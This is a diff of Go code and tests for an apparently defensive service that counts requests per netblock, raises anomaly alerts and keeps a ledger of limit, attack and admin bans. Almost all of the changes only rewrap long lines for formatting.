||||||
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(counters, func(a, b Counter) int {
|
slices.SortFunc(counters, func(a, b Counter) int {
|
||||||
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
|
return cmp.Or(
|
||||||
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
|
cmp.Compare(a.Scope, b.Scope),
|
||||||
|
a.Netblock.Compare(b.Netblock),
|
||||||
|
cmp.Compare(a.ASN, b.ASN),
|
||||||
|
cmp.Compare(a.Name, b.Name),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
return counters
|
return counters
|
||||||
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
for _, named := range p.NamedNetblocks {
|
for _, named := range p.NamedNetblocks {
|
||||||
if named.Netblock.Contains(client) {
|
if named.Netblock.Contains(client) {
|
||||||
all = append(all, scope{
|
all = append(all, scope{
|
||||||
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
key{
|
||||||
|
scope: ScopeWatchedNet,
|
||||||
|
netblock: named.Netblock,
|
||||||
|
name: named.Name,
|
||||||
|
}, p.Watch,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -316,7 +330,12 @@ func (c *Counter) add(
|
|||||||
|
|
||||||
counted := count.buckets.Add(now, count.length, n)
|
counted := count.buckets.Add(now, count.length, n)
|
||||||
if !passed && counted > float64(threshold) {
|
if !passed && counted > float64(threshold) {
|
||||||
first = overThreshold{count.kind, count.window, counted, threshold}
|
first = overThreshold{
|
||||||
|
count.kind,
|
||||||
|
count.window,
|
||||||
|
counted,
|
||||||
|
threshold,
|
||||||
|
}
|
||||||
passed = true
|
passed = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
|
|||||||
|
|
||||||
// key returns what tells c from the other counters.
|
// key returns what tells c from the other counters.
|
||||||
func (c *Counter) key() key {
|
func (c *Counter) key() key {
|
||||||
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
|
return key{
|
||||||
|
scope: c.Scope,
|
||||||
|
netblock: c.Netblock,
|
||||||
|
asn: c.ASN,
|
||||||
|
name: c.Name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// counter returns a counter for k, with nothing counted yet.
|
// counter returns a counter for k, with nothing counted yet.
|
||||||
func (k key) counter() *Counter {
|
func (k key) counter() *Counter {
|
||||||
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
|
return &Counter{
|
||||||
|
Scope: k.scope,
|
||||||
|
Netblock: k.netblock,
|
||||||
|
ASN: k.asn,
|
||||||
|
Name: k.name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// alertFor returns the anomaly alert for o, a count over its threshold in
|
// alertFor returns the anomaly alert for o, a count over its threshold in
|
||||||
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
|||||||
ASN: r.ASN,
|
ASN: r.ASN,
|
||||||
ASName: r.ASName,
|
ASName: r.ASName,
|
||||||
Country: r.Country,
|
Country: r.Country,
|
||||||
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
|
Reason: fmt.Sprintf(
|
||||||
counted, o.threshold),
|
"%s per %s of %s over the threshold of %d",
|
||||||
|
o.kind,
|
||||||
|
o.window,
|
||||||
|
counted,
|
||||||
|
o.threshold,
|
||||||
|
),
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
|
{
|
||||||
|
Name: "office",
|
||||||
|
Netblock: office,
|
||||||
|
}, {Name: "hq", Netblock: office},
|
||||||
},
|
},
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
})
|
})
|
||||||
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if after.Suppressed() != 9 {
|
if after.Suppressed() != 9 {
|
||||||
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
|
t.Errorf(
|
||||||
|
"after loading, %d alerts are held back, want 9",
|
||||||
|
after.Suppressed(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
|||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
||||||
!holds(got, maxCounters) {
|
!holds(got, maxCounters) {
|
||||||
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
|
t.Errorf(
|
||||||
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
|
"%d counters, holding the first client %v, the second %v and the "+
|
||||||
holds(got, 1), holds(got, maxCounters), maxCounters)
|
"new one %v, want %d, the first and the new one",
|
||||||
|
len(got),
|
||||||
|
holds(got, 0),
|
||||||
|
holds(got, 1),
|
||||||
|
holds(got, maxCounters),
|
||||||
|
maxCounters,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
|
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
|
Net: anomaly.Thresholds{
|
||||||
|
RequestsPerMinute: 1000,
|
||||||
|
RequestsPerHour: 1000,
|
||||||
|
},
|
||||||
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
})
|
})
|
||||||
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
|
|||||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||||
}
|
}
|
||||||
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
||||||
got, want) {
|
got,
|
||||||
|
want,
|
||||||
|
) {
|
||||||
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
|
|||||||
|
|
||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if !holds(got, 0) || holds(got, maxCounters/2) {
|
if !holds(got, 0) || holds(got, maxCounters/2) {
|
||||||
t.Errorf("holding the first client of the file %v, and the first counted in "+
|
t.Errorf(
|
||||||
"the minute before %v, want only the first", holds(got, 0),
|
"holding the first client of the file %v, and the first counted in "+
|
||||||
holds(got, maxCounters/2))
|
"the minute before %v, want only the first",
|
||||||
|
holds(got, 0),
|
||||||
|
holds(got, maxCounters/2),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
|
|||||||
// request returns a request from client number i, an address in
|
// request returns a request from client number i, an address in
|
||||||
// 10.0.0.0/8.
|
// 10.0.0.0/8.
|
||||||
func request(i int) anomaly.Request {
|
func request(i int) anomaly.Request {
|
||||||
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
client := netip.MustParseAddr(
|
||||||
|
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
|
||||||
|
)
|
||||||
|
|
||||||
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
|
return anomaly.Request{
|
||||||
|
Client: client,
|
||||||
|
ClientGroup: netip.PrefixFrom(client, 32),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// holds reports whether counters hold the counter of client number i.
|
// holds reports whether counters hold the counter of client number i.
|
||||||
|
|||||||
+146
-42
@@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
// then one with an admin's ban before a ban sww made: the one
|
// then one with an admin's ban before a ban sww made: the one
|
||||||
// ban counted toward MaxBans.
|
// ban counted toward MaxBans.
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
{
|
||||||
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
|
Netblock: adminsOnly,
|
||||||
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
|
Start: midnight().Add(-3 * time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: adminsOnly,
|
||||||
|
Start: midnight().Add(-2 * time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: both,
|
||||||
|
Start: midnight().Add(-time.Hour),
|
||||||
|
Cause: bans.CauseAdmin,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
Netblock: both,
|
Netblock: both,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
|
|
||||||
// A new ban drops the ban sww made, and only that one.
|
// A new ban drops the ban sww made, and only that one.
|
||||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
wantBans(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
|
||||||
|
)
|
||||||
|
|
||||||
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
||||||
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
|
t.Errorf(
|
||||||
|
"%s kept %+v, want the admin's ban",
|
||||||
|
both,
|
||||||
|
ledger.Bans(both),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// And the next drops that one.
|
// And the next drops that one.
|
||||||
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
|
wantBans(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||||
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
|||||||
// twice, each time after its last ban has ended.
|
// twice, each time after its last ban has ended.
|
||||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
first, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
// A ban on another netblock fills the ledger, and the netblock's first
|
// A ban on another netblock fills the ledger, and the netblock's first
|
||||||
@@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
limit, _ := ledger.BanForLimit(
|
||||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
|
midnight(),
|
||||||
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
|
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
|
||||||
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
|
)
|
||||||
bans.Notes{RuleID: "git-dir", Target: "path"})
|
byteLimit, _ := ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("203.0.113.3/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
|
||||||
|
)
|
||||||
|
attack, _ := ledger.BanForAttack(
|
||||||
|
netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{RuleID: "git-dir", Target: "path"},
|
||||||
|
)
|
||||||
|
|
||||||
for _, tc := range []struct{ got, want string }{
|
for _, tc := range []struct{ got, want string }{
|
||||||
{limit.Reason, "requests per minute over the limit of 1000"},
|
{limit.Reason, "requests per minute over the limit of 1000"},
|
||||||
@@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
t.Errorf(
|
||||||
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
||||||
|
ban.Expires.Sub(ban.Start),
|
||||||
|
ban.Notes.EarlierBans,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
||||||
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want the lifted ban and the new one",
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// A permanent ban for a clear sign of attack, lifted.
|
// A permanent ban for a clear sign of attack, lifted.
|
||||||
@@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
|
|
||||||
active, permanent := ledger.Count(now)
|
active, permanent := ledger.Count(now)
|
||||||
if active != 0 || permanent != 0 {
|
if active != 0 || permanent != 0 {
|
||||||
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
|
t.Errorf(
|
||||||
|
"%d bans are active and %d permanent, want none",
|
||||||
|
active,
|
||||||
|
permanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The next clear sign of attack bans for seven days, as a first does.
|
// The next clear sign of attack bans for seven days, as a first does.
|
||||||
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||||
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
|
t.Errorf(
|
||||||
|
"the next ban for an attack ends at %s, want seven days on",
|
||||||
|
ban.Expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
made, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("203.0.113.1/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
atStart := bans.Ban{
|
atStart := bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
ledger.Load([]bans.Ban{made, atStart})
|
ledger.Load([]bans.Ban{made, atStart})
|
||||||
|
|
||||||
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
||||||
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
t.Fatalf(
|
||||||
|
"%d bans made by an admin after the start's, want none",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The admin keeps the ban sww made, keeps the one read at the
|
// The admin keeps the ban sww made, keeps the one read at the
|
||||||
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
}
|
}
|
||||||
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
||||||
|
|
||||||
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
|
if ledger.Made(bans.CauseAdmin) != 1 ||
|
||||||
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
|
ledger.Made(bans.CauseLimit) != 1 {
|
||||||
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
|
t.Errorf(
|
||||||
|
"%d bans made by an admin and %d for a limit, want 1 of each",
|
||||||
|
ledger.Made(bans.CauseAdmin),
|
||||||
|
ledger.Made(bans.CauseLimit),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
||||||
}
|
}
|
||||||
|
|
||||||
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
got := ledger.BanForAdmin(
|
||||||
"probes for logins")
|
netip.MustParsePrefix("203.0.113.9/24"),
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
"probes for logins",
|
||||||
|
)
|
||||||
if !reflect.DeepEqual(got, want) {
|
if !reflect.DeepEqual(got, want) {
|
||||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// It refuses once the ban for the limit has ended.
|
// It refuses once the ban for the limit has ended.
|
||||||
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
ban, banned, _ := ledger.Find(
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(2*time.Hour),
|
||||||
|
)
|
||||||
if !banned || !reflect.DeepEqual(ban, want) {
|
if !banned || !reflect.DeepEqual(ban, want) {
|
||||||
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
t.Errorf(
|
||||||
ban, banned, want)
|
"after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
now := midnight().Add(time.Minute)
|
now := midnight().Add(time.Minute)
|
||||||
|
|
||||||
lifted := ledger.Lift(client, now)
|
lifted := ledger.Lift(client, now)
|
||||||
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
|
if len(lifted) != 2 || lifted[0].Lifted != now ||
|
||||||
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
|
lifted[1].Lifted != now {
|
||||||
|
t.Errorf(
|
||||||
|
"lifted %+v, want the two active bans covering the client",
|
||||||
|
lifted,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
covering := ledger.Covering(client)
|
covering := ledger.Covering(client)
|
||||||
if len(covering) != 3 || covering[0].Netblock != wide ||
|
if len(covering) != 3 || covering[0].Netblock != wide ||
|
||||||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
||||||
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
|
t.Errorf(
|
||||||
"of its own, the earlier not lifted", covering)
|
"the bans covering the client are %+v, want the /24's and both "+
|
||||||
|
"of its own, the earlier not lifted",
|
||||||
|
covering,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// With none active, nothing is lifted or changed.
|
// With none active, nothing is lifted or changed.
|
||||||
@@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParseAddr("203.0.113.9")
|
client := netip.MustParseAddr("203.0.113.9")
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// The temporary ban is made first, so that its netblock is looked at first.
|
// The temporary ban is made first, so that its netblock is looked at first.
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
"for good")
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
ledger.BanForAdmin(
|
||||||
|
netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
|
midnight(),
|
||||||
|
time.Time{},
|
||||||
|
"for good",
|
||||||
|
)
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||||
}
|
}
|
||||||
@@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||||
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
ledger.BanForAdmin(
|
||||||
"for an hour")
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
midnight().Add(time.Hour),
|
||||||
|
"for an hour",
|
||||||
|
)
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
wantPermanentBan(
|
||||||
|
t,
|
||||||
|
ledger,
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(2*time.Minute),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||||
@@ -382,7 +481,12 @@ func wantPermanentBan(
|
|||||||
} {
|
} {
|
||||||
ban, banned, _ := look(client, now)
|
ban, banned, _ := look(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
t.Errorf(
|
||||||
|
"%s returned %+v and banned %v, want a permanent ban",
|
||||||
|
name,
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+91
-19
@@ -209,7 +209,10 @@ func New(params Params) *Ledger {
|
|||||||
// The ledger drops bans itself, and never those whose cause is
|
// The ledger drops bans itself, and never those whose cause is
|
||||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||||
// own: it keeps the netblocks in the order they were last seen.
|
// own: it keeps the netblocks in the order they were last seen.
|
||||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
|
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
||||||
|
math.MaxInt,
|
||||||
|
nil,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
func (l *Ledger) BanForLimit(
|
func (l *Ledger) BanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
limitReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
@@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit(
|
|||||||
func (l *Ledger) WouldBanForLimit(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseLimit,
|
||||||
|
limitReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
